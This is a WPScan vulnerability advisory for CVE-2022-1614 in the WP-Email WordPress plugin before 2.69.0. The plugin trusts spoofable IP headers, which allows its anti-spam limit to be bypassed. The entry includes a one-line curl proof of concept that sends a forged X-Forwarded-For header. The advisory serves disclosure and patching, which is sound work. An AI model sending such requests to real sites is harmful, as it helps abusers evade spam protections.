WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WP-Email < 2.69.0 - Anti-Spam Protection Bypass via IP Spoofing

Description

The plugin prioritizes getting a visitor's IP from certain HTTP headers over PHP's REMOTE_ADDR, which makes it possible to bypass IP-based anti-spamming restrictions.

Proof of Concept

Set HTTP_CLIENT_IP, HTTP_X_FORWARDED_FOR or any of the other headers used in get_ipaddress().

curl 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' -X POST -H 'X-Forwarded-For: 127.0.0.1' --data-raw 'action=email&yourname=admin&[email protected]&yourremarks=asdasd&friendname=Igor Popov&[email protected]&imageverify=ME5RJ&p=177&wp-email_nonce=646bfc1f45' 

Affects Plugins

wp-email
Fixed in version 2.69.0

References

CVE
CVE-2022-1614

Classification

Type

BYPASS

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
a5940d0b-6b88-4418-87e2-02c0897bc2f1

Timeline

Publicly Published

2022-05-30 (about 11 months ago)

Added

2022-05-30 (about 11 months ago)

Last Updated

2023-02-23 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us